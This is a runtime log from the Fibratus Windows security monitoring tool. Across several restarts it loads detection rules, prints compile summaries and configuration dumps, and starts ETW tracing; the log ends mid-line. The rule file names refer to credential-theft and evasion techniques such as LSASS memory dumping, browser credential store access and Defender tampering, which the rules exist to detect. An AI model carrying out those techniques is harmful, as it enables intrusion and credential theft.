msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:16:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:16:48+01:00 level=info msg=bootstrapping with pid 17072. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:16:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 enable-threadpool=>false enable-dns=>false enable-thread=>true buffer-size=>512 stack-enrichment=>true enable-image=>true enable-mem=>false flush-interval=>1s enable-net=>true max-buffers=>36 enable-vamap=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ flush-period=>1s sniff=>false healthcheck=>true template-name=>fibratus index-name=>fibratus bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false trace-log=>false] http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json enabled=>false] amqp=>[ exchange-type=>topic timeout=>5s vhost=>/ tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 passive=>false exchange=>fibratus durable=>false routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-files=>false enabled=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:16:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:16:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:20:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T17:20:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:20:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:21:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:21:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:21:01+01:00 level=info msg=bootstrapping with pid 13496. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:21:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>false stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-registry=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-dns=>false enable-net=>true min-buffers=>16 enable-vamap=>true max-buffers=>36 flush-interval=>1s enable-fileio=>true enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 level=>info log-stdout=>true formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ bulk-workers=>1 flush-period=>1s healthcheck=>true healthcheck-interval=>10s template-name=>fibratus sniff=>false healthcheck-timeout=>5s index-name=>fibratus trace-log=>false timeout=>5s enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]] http=>[ serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false method=>POST] eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ enabled=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient durable=>false timeout=>5s exchange=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s fastscan=>true skip-files=>false skip-registry=>false enabled=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:21:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:21:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:21:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T17:21:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:35:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:35:53+01:00 level=info msg=loading rule from 